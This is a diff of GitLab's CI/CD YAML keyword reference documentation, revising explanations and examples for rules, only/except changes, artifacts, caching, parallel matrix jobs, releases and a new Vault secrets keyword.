SHA file: '/templates/.gitlab-ci-template.yml' ``` @@ -982,7 +983,7 @@ If you do want to include the `rake test`, see [`before_script` and `after_scrip possible to inherit from regular jobs as well. `extends` supports multi-level inheritance. You should avoid using more than 3 levels, -but you can use as many as ten. +but you can use as many as eleven. The following example has two levels of inheritance: ```yaml @@ -1335,6 +1336,8 @@ expression string per rule, rather than an array of them. Any set of expressions evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) by using `&&` or `||`, and use the [variable matching syntax](../variables/README.md#syntax-of-environment-variable-expressions). +Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts) +sections, variables in rules expressions are always formatted as `$VARIABLE`. `if:` clauses are evaluated based on the values of [predefined environment variables](../variables/predefined_variables.md) or [custom environment variables](../variables/README.md#custom-environment-variables). @@ -1350,7 +1353,7 @@ job: - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/' when: manual allow_failure: true - - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible ``` Some details regarding the logic that determines the `when` for the job: @@ -1434,7 +1437,12 @@ the files changed by Git push events. `rules: changes` works exactly the same way as [`only: changes` and `except: changes`](#onlychangesexceptchanges), accepting an array of paths. Similarly, it always returns true if there is no -Git push event, for example, when a new tag is created. It should only be used for branch pipelines or merge request pipelines. +Git push event, for example, when a new tag is created. It's recommended to use it +only with branch pipelines or merge request pipelines. For example, it's common to +use `rules: changes` with one of the following `if` clauses: + +- `if: $CI_COMMIT_BRANCH` +- `if: '$CI_PIPELINE_SOURCE == "merge_request_event"'` For example: @@ -1526,7 +1534,7 @@ same rule. In the following example: -- If the dockerfile or any file in `/docker/scripts` has changed, and var=blah, +- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and var=blah, then the job runs manually - Otherwise, the job isn't included in the pipeline. @@ -1535,11 +1543,11 @@ docker build: script: docker build -t my-image:$CI_COMMIT_REF_SLUG . rules: - if: '$VAR == "string value"' - changes: # Will include the job and set to when:manual if any of the follow paths match a modified file. + changes: # Will include the job and set to when:manual if any of the follow paths match a modified file. - Dockerfile - docker/scripts/* when: manual - # - when: never would be redundant here, this is implied any time rules are listed. + # - when: never would be redundant here, this is implied any time rules are listed. ``` Keywords such as `branches` or `refs` that are currently available for @@ -1653,7 +1661,7 @@ job: - /^release/.*$/@gitlab-org/gitlab ``` -The above example will run `job` for all branches on `gitlab-org/gitlab`, +The above example runs `job` for all branches on `gitlab-org/gitlab`, except `master` and those with names prefixed with `release/`. If a job does not have an `only` rule, `only: ['branches', 'tags']` is set by @@ -1736,12 +1744,13 @@ Four keys are available: If you use multiple keys under `only` or `except`, the keys will be evaluated as a single conjoined expression. That is: -- `only:` means "include this job if all of the conditions match". -- `except:` means "exclude this job if any of the conditions match". +- `only:` includes the job if **all** of the keys have at least one condition that matches. +- `except:` excludes the job if **any** of the keys have at least one condition that matches. -With `only`, individual keys are logically joined by an AND: +With `only`, individual keys are logically joined by an `AND`. A job is added to +the pipeline if the following is true: -> (any of refs) AND (any of variables) AND (any of changes) AND (if Kubernetes is active) +- `(any listed refs are true) AND (any listed variables are true) AND (any listed changes are true) AND (any chosen Kubernetes status matches)` In the example below, the `test` job will `only` be created when **all** of the following are true: @@ -1761,17 +1770,14 @@ test: kubernetes: active ``` -`except` is implemented as a negation of this complete expression: - -> NOT((any of refs) AND (any of variables) AND (any of changes) AND (if Kubernetes is active)) +With `except`, individual keys are logically joined by an `OR`. A job is **not** +added if the following is true: -This means the keys are treated as if joined by an OR. This relationship could be described as: - -> (any of refs) OR (any of variables) OR (any of changes) OR (if Kubernetes is active) +- `(any listed refs are true) OR (any listed variables are true) OR (any listed changes are true) OR (a chosen Kubernetes status matches)` In the example below, the `test` job will **not** be created when **any** of the following are true: -- The pipeline runs for the `master`. +- The pipeline runs for the `master` branch. - There are changes to the `README.md` file in the root directory of the repository. ```yaml @@ -1868,16 +1874,18 @@ job1: Using the `changes` keyword with `only` or `except` makes it possible to define if a job should be created based on files modified by a Git push event. -This means the `only:changes` policy is useful for pipelines where: +The `only:changes` policy is only useful for pipelines triggered by the following +refs: -- `$CI_PIPELINE_SOURCE == 'push'` -- `$CI_PIPELINE_SOURCE == 'merge_request_event'` -- `$CI_PIPELINE_SOURCE == 'external_pull_request_event'` +- `branches` +- `external_pull_requests` +- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](#using-onlychanges-with-pipelines-for-merge-requests)) -If there is no Git push event, such as for pipelines with -[sources other than the three above](../variables/predefined_variables.md), -`changes` can't determine if a given file is new or old, and will always -return true. +CAUTION: **Caution:** +In pipelines with [sources other than the three above](../variables/predefined_variables.md) +`changes` can't determine if a given file is new or old and always returns `true`. +This includes pipelines triggered by pushing new tags. Configuring jobs to use `only: changes` +with other `only: refs` keywords is possible, but not recommended. A basic example of using `only: changes`: @@ -1885,6 +1893,8 @@ A basic example of using `only: changes`: docker build: script: docker build -t my-image:$CI_COMMIT_REF_SLUG . only: + refs: + - branches changes: - Dockerfile - docker/scripts/* @@ -1913,13 +1923,17 @@ in double quotes or GitLab will fail to parse the `.gitlab-ci.yml`. For example: test: script: npm run test only: + refs: + - branches changes: - "*.json" - "**/*.sql" ``` The following example will skip the `build` job if a change is detected in any file -in the root directory of the repository with a `.md` extension: +in the root directory of the repository with a `.md` extension. This mean that if you change multiple files, +but only one file is a `.md` file, the `build` job will still be skipped and will +not run for the other files. ```yaml build: @@ -2072,9 +2086,9 @@ This example creates four paths of execution: because of `only/except` rules or otherwise does not exist, the pipeline will be created with YAML error. - The maximum number of jobs that a single job can need in the `needs:` array is limited: - - For GitLab.com, the limit is ten. For more information, see our + - For GitLab.com, the limit is 50. For more information, see our [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541). - - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit-core-only). + - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit). - If `needs:` refers to a job that is marked as `parallel:`. the current job will depend on all parallel jobs created. - `needs:` is similar to `dependencies:` in that it needs to use jobs from prior stages, @@ -2190,10 +2204,7 @@ build_job: ``` Environment variables support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093) -in GitLab 13.3. This is under development, but it is ready for production use. It is deployed -behind the `ci_expand_names_for_cross_pipeline_artifacts` feature flag, which is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it for your instance. +in GitLab 13.3. [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4. For example: @@ -2214,14 +2225,14 @@ Downloading artifacts from jobs that are run in [`parallel:`](#parallel) is not ### `tags` -`tags` is used to select specific runners from the list of all runners that are -allowed to run this project. +Use `tags` to select a specific runner from the list of all runners that are +available for the project. -During the registration of a runner, you can specify the runner's tags, for +When you register a runner, you can specify the runner's tags, for example `ruby`, `postgres`, `development`. -`tags` allow you to run jobs with runners that have the specified tags -assigned to them: +In this example, the job is run by a runner that +has both `ruby` AND `postgres` tags defined. ```yaml job: @@ -2230,12 +2241,9 @@ job: - postgres ``` -The specification above, will make sure that `job` is built by a runner that -has both `ruby` AND `postgres` tags defined. - -Tags are also a great way to run different jobs on different platforms, for -example, given an OS X runner with tag `osx` and Windows runner with tag -`windows`, the following jobs run on respective platforms: +You can use tags to run different jobs on different platforms. For +example, if you have an OS X runner with tag `osx` and a Windows runner with tag +`windows`, you can run a job on each platform: ```yaml windows job: @@ -2257,7 +2265,7 @@ osx job: ### `allow_failure` -`allow_failure` allows a job to fail without impacting the rest of the CI +Use `allow_failure` when you want to let a job fail without impacting the rest of the CI suite. The default value is `false`, except for [manual](#whenmanual) jobs using the `when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs @@ -2353,12 +2361,12 @@ cleanup_job: when: always ``` -The above script will: +The above script: -1. Execute `cleanup_build_job` only when `build_job` fails. -1. Always execute `cleanup_job` as the last step in pipeline regardless of +1. Executes `cleanup_build_job` only when `build_job` fails. +1. Always executes `cleanup_job` as the last step in pipeline regardless of success or failure. -1. Allow you to manually execute `deploy_job` from GitLab's UI. +1. Executes `deploy_job` when you run it manually in the GitLab UI. #### `when:manual` @@ -2395,7 +2403,7 @@ Manual actions are considered to be write actions, so permissions for a user wants to trigger an action. In other words, in order to trigger a manual action assigned to a branch that the pipeline is running for, the user needs to have the ability to merge to this branch. It's possible to use protected environments -to more strictly [protect manual deployments](#protecting-manual-jobs-premium) from being +to more strictly [protect manual deployments](#protecting-manual-jobs) from being run by unauthorized users. NOTE: **Note:** @@ -2452,7 +2460,7 @@ You can set the period with `start_in` key. The value of `start_in` key is an el provided. `start_in` key must be less than or equal to one week. Examples of valid values include: - `'5'` -- `10 seconds` +- `5 seconds` - `30 minutes` - `1 day` - `1 week` @@ -2796,10 +2804,10 @@ Since the cache is shared between jobs, if you're using different paths for different jobs, you should also set a different `cache:key` otherwise cache content can be overwritten. -The `key` directive allows you to define the affinity of caching between jobs, -allowing to have a single cache for all jobs, cache per-job, cache per-branch +The `key` parameter defines the affinity of caching between jobs, +to have a single cache for all jobs, cache per-job, cache per-branch or any other way that fits your workflow. This way, you can fine tune caching, -allowing you to cache data between different jobs or even different branches. +including caching data between different jobs or even different branches. The `cache:key` variable can use any of the [predefined variables](../variables/README.md). The default key, if not @@ -2863,9 +2871,9 @@ use the new cache, instead of rebuilding the dependencies. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5. -The `prefix` parameter adds extra functionality to `key:files` by allowing the key to -be composed of the given `prefix` combined with the SHA computed for `cache:key:files`. -For example, adding a `prefix` of `test`, will cause keys to look like: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`. +When you want to combine a prefix with the SHA computed for `cache:key:files`, +use the `prefix` parameter with `key:files`. +For example, if you add a `prefix` of `test`, the resulting key is: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`. If neither file was changed in any commits, the prefix is added to `default`, so the key in the example would be `test-default`. @@ -2925,8 +2933,8 @@ rspec: > Introduced in GitLab 9.4. The default behavior of a caching job is to download the files at the start of -execution, and to re-upload them at the end. This allows any changes made by the -job to be persisted for future runs, and is known as the `pull-push` cache +execution, and to re-upload them at the end. Any changes made by the +job are persisted for future runs. This behavior is known as the `pull-push` cache policy. If you know the job does not alter the cached files, you can skip the upload step @@ -2979,7 +2987,8 @@ skip the download step. attached to the job when it [succeeds, fails, or always](#artifactswhen). The artifacts will be sent to GitLab after the job finishes and will -be available for download in the GitLab UI. +be available for download in the GitLab UI provided that the size is not +larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). [Read more about artifacts](../pipelines/job_artifacts.md). @@ -3083,7 +3092,7 @@ For example, to match a single file: ```yaml test: - script: [ "echo 'test' > file.txt" ] + script: ["echo 'test' > file.txt"] artifacts: expose_as: 'artifact 1' paths: ['file.txt'] @@ -3096,7 +3105,7 @@ An example that will match an entire directory: ```yaml test: - script: [ "mkdir test && echo 'test' > test/file.txt" ] + script: ["mkdir test && echo 'test' > test/file.txt"] artifacts: expose_as: 'artifact 1' paths: ['test/'] @@ -3225,7 +3234,7 @@ Send all untracked files but [exclude](#artifactsexclude) `*.txt`: artifacts: untracked: true exclude: - - *.txt + - "*.txt" ``` #### `artifacts:when` @@ -3253,10 +3262,12 @@ job: > Introduced in GitLab 8.9 and GitLab Runner v1.3.0. -`expire_in` allows you to specify how long artifacts should live before they -expire and are therefore deleted, counting from the time they are uploaded and +Use `expire_in` to specify how long artifacts are active before they +expire and are deleted. + +The expiration time period begins when the artifact is uploaded and stored on GitLab. If the expiry time is not defined, it defaults to the -[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration-core-only) +[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration) (30 days by default). To override the expiration date and protect artifacts from being automatically deleted: @@ -3271,7 +3282,8 @@ and are not accessible anymore. The value of `expire_in` is an elapsed time in seconds, unless a unit is provided. Examples of valid values: -- `42` +- `'42'` +- `42 seconds` - `3 mins 4 sec` - `2 hrs 20 min` - `2h20min` @@ -3289,10 +3301,10 @@ job: ``` NOTE: **Note:** -Since [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/16267), the latest -artifacts for refs can be locked against deletion, and kept regardless of the expiry time. This feature is disabled -by default and is not ready for production use. It can be enabled for testing by -enabling the `:keep_latest_artifact_for_ref` and `:destroy_only_unlocked_expired_artifacts` [feature flags](../../administration/feature_flags.md). +The latest artifacts for refs are locked against deletion, and kept regardless of +the expiry time. [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) +GitLab 13.0 behind a disabled feature flag, and [made the default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) +in GitLab 13.4. #### `artifacts:reports` @@ -3306,17 +3318,17 @@ These are the available report types: |--------------------------------------------------------------------------------------------------------------------------------------|-------------| | [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | | [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | -| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning-ultimate) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | -| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast-ultimate) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | -| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning-ultimate) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | +| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | +| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | +| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | | [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | | [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | -| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management-ultimate) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | -| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning-ultimate) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | -| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance-premium) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | -| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics-premium) **(PREMIUM)** | The `metrics` report collects Metrics. | -| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance-premium) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | -| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast-ultimate) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | +| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | +| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | +| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | +| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | +| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | +| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | | [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | #### `dependencies` @@ -3393,7 +3405,7 @@ and bring back the old behavior. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/20428) in GitLab 8.17. -`coverage` allows you to configure how code coverage will be extracted from the +Use `coverage` to configure how code coverage is extracted from the job output. Regular expressions are the only valid kind of value expected here. So, using @@ -3414,7 +3426,7 @@ job1: > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3442) in GitLab 9.5. > - [Behavior expanded](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3515) in GitLab 11.5 to control which failures to retry on. -`retry` allows you to configure how many times a job is going to be retried in +Use `retry` to configure how many times a job is going to be retried in case of a failure. When a job fails and has `retry` configured, it's going to be processed again @@ -3494,7 +3506,7 @@ You can specify the number of [retry attempts for certain stages of job executio > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3. -`timeout` allows you to configure a timeout for a specific job. For example: +Use `timeout` to configure a timeout for a specific job. For example: ```yaml build: @@ -3514,7 +3526,7 @@ exceed the runner-specific timeout. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5. -`parallel` allows you to configure how many instances of a job to run in +Use `parallel` to configure how many instances of a job to run in parallel. This value has to be greater than or equal to two (2) and less than or equal to 50. This creates N instances of the same job that run in parallel. They are named @@ -3563,7 +3575,7 @@ job split into three separate jobs. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3. -`matrix:` allows you to configure different variables for jobs that are running in parallel. +Use `matrix:` to configure different variables for jobs that are running in parallel. There can be from 2 to 50 jobs. Every job gets the same `CI_NODE_TOTAL` [environment variable](../variables/README.md#predefined-environment-variables) value, and a unique `CI_NODE_INDEX` value. @@ -3589,28 +3601,29 @@ deploystacks: This generates 10 parallel `deploystacks` jobs, each with different values for `PROVIDER` and `STACK`: ```plaintext -deploystacks 1/10 with PROVIDER=aws and STACK=monitoring -deploystacks 2/10 with PROVIDER=aws and STACK=app1 -deploystacks 3/10 with PROVIDER=aws and STACK=app2 -deploystacks 4/10 with PROVIDER=ovh and STACK=monitoring -deploystacks 5/10 with PROVIDER=ovh and STACK=backup -deploystacks 6/10 with PROVIDER=ovh and STACK=app -deploystacks 7/10 with PROVIDER=gcp and STACK=data -deploystacks 8/10 with PROVIDER=gcp and STACK=processing -deploystacks 9/10 with PROVIDER=vultr and STACK=data -deploystacks 10/10 with PROVIDER=vultr and STACK=processing +deploystacks: [aws, monitoring] +deploystacks: [aws, app1] +deploystacks: [aws, app2] +deploystacks: [ovh, monitoring] +deploystacks: [ovh, backup] +deploystacks: [ovh, app] +deploystacks: [gcp, data] +deploystacks: [gcp, processing] +deploystacks: [vultr, data] +deploystacks: [vultr, processing] ``` +Job naming style [was improved](https://gitlab.com/gitlab-org/gitlab/-/issues/230452) in GitLab 13.4. + ### `trigger` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Core in 12.8. -`trigger` allows you to define downstream pipeline trigger. When a job created -from `trigger` definition is started by GitLab, a downstream pipeline gets -created. +Use `trigger` to define a downstream pipeline trigger. When GitLab starts a job created +with a `trigger` definition, a downstream pipeline is created. -This keyword allows the creation of two different types of downstream pipelines: +You can use this keyword to create two different types of downstream pipelines: - [Multi-project pipelines](../multi_project_pipelines.md#creating-multi-project-pipelines-from-gitlab-ciyml) - [Child pipelines](../parent_child_pipelines.md) @@ -3889,15 +3902,15 @@ ios-release: script: - echo 'iOS release job' release: - tag_name: v1.0.0-ios - description: 'iOS release v1.0.0' + tag_name: v1.0.0-ios + description: 'iOS release v1.0.0' android-release: script: - echo 'Android release job' release: - tag_name: v1.0.0-android - description: 'Android release v1.0.0' + tag_name: v1.0.0-android + description: 'Android release v1.0.0' ``` #### `release:tag_name` @@ -3969,25 +3982,24 @@ tags. These options cannot be used together, so choose one: script: - echo 'running release_job' release: - name: 'Release $CI_COMMIT_TAG' - description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined - tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline. - ref: '$CI_COMMIT_TAG' - milestones: - - 'm1' - - 'm2' - - 'm3' - released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, - # or can use a variable. + name: 'Release $CI_COMMIT_TAG' + description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined + tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline. + ref: '$CI_COMMIT_TAG' + milestones: + - 'm1' + - 'm2' + - 'm3' + released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, or can use a variable. ``` - To create a release automatically when commits are pushed or merged to the default branch, using a new Git tag that is defined with variables: -NOTE: **Note:** -Environment variables set in `before_script` or `script` are not available for expanding -in the same job. Read more about -[potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400). + NOTE: **Note:** + Environment variables set in `before_script` or `script` are not available for expanding + in the same job. Read more about + [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400). ```yaml prepare_job: @@ -4007,25 +4019,24 @@ in the same job. Read more about stage: release image: registry.gitlab.com/gitlab-org/release-cli:latest needs: - - job: prepare_job - artifacts: true + - job: prepare_job + artifacts: true rules: - if: $CI_COMMIT_TAG - when: never # Do not run this job when a tag is created manually - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch + when: never # Do not run this job when a tag is created manually + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch script: - echo 'running release_job for $TAG' release: - name: 'Release $TAG' - description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG - tag_name: '$TAG' # variables must be defined elsewhere - ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the - milestones: # prepare_job - - 'm1' - - 'm2' - - 'm3' - released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, - # or can use a variable. + name: 'Release $TAG' + description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG + tag_name: '$TAG' # variables must be defined elsewhere + ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the + milestones: # prepare_job + - 'm1' + - 'm2' + - 'm3' + released_at: '2020-07-15T08:00:00Z' # Optional, will auto generate if not defined, or can use a variable. ``` #### `releaser-cli` command line @@ -4040,6 +4051,53 @@ The YAML described above would be translated into a CLI command like this: release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" ``` +### `secrets` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4. + +`secrets` indicates the [CI Secrets](../secrets/index.md) this job needs. It should be a hash, +and the keys should be the names of the environment variables the job needs to access the secrets. + +#### `secrets:vault` **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in GitLab 13.4. + +`vault` keyword specifies secrets provided by [Hashicorp's Vault](https://www.vaultproject.io/). +This syntax has multiple forms. The shortest form asssumes the use of the +[KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) secrets engine, +mounted at the default path `kv-v2`. The last part of the secret's path is the +field to fetch the value for: + +```yaml +job: + secrets: + DATABASE_PASSWORD: + vault: production/db/password # translates to secret `kv-v2/data/production/db`, field `password` +``` + +You can specify a custom secrets engine path by adding a suffix starting with `@`: + +```yaml +job: + secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` +``` + +In the detailed form of the syntax, you can specify all details explicitly: + +```yaml +job: + secrets: + DATABASE_PASSWORD: # translates to secret `ops/data/production/db`, field `password` + vault: + engine: + name: kv-v2 + path: ops + path: production/db + field: password +``` + ### `pages` `pages` is a special job that is used to upload static content to GitLab that @@ -4077,12 +4135,12 @@ NOTE: **Note:** Integers (as well as strings) are legal both for variable's name and value. Floats are not legal and can't be used. -GitLab CI/CD allows you to define variables inside `.gitlab-ci.yml` that are -then passed in the job environment. They can be set globally and per-job. -When the `variables` keyword is used on a job level, it will override the global +Variables are configurable values in `.gitlab-ci.yml` that are passed to jobs. +They can be set globally and per-job. +When you use the `variables` keyword in jobs, it overrides the global YAML variables and predefined ones of the same name. -They are stored in the Git repository and are meant to store non-sensitive +Variables are stored in the Git repository and are meant for non-sensitive project configuration, for example: ```yaml @@ -4090,9 +4148,9 @@ variables: DATABASE_URL: "postgres://postgres@postgres/my_database" ``` -These variables can be later used in all executed commands and scripts. +You can use these variables later in all executed commands and scripts. The YAML-defined variables are also set to all created service containers, -thus allowing to fine tune them. +so that you can fine tune them. Except for the user-defined variables, there are also variables [set up by the runner itself](../variables/README.md#predefined-environment-variables). @@ -4277,7 +4335,7 @@ script: - ls -al cache/ ``` -The configurtion above will result in `git fetch` being called this way: +The configuration above will result in `git fetch` being called this way: ```shell git fetch origin $REFSPECS --depth 50 --prune @@ -4432,7 +4490,7 @@ because `$CI_BUILDS_DIR` is not expanded. ## Special YAML features It's possible to use special YAML features like anchors (`&`), aliases (`*`) -and map merging (`<<`), which allows you to greatly reduce the complexity +and map merging (`<<`). Use these features to reduce the complexity of `.gitlab-ci.yml`. Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/). @@ -4660,9 +4718,9 @@ If you want to temporarily 'disable' a job, rather than commenting out all the lines where the job is defined: ```yaml -#hidden_job: -# script: -# - run test +# hidden_job: +# script: +# - run test ``` You can instead start its name with a dot (`.`) and it won't be processed by |
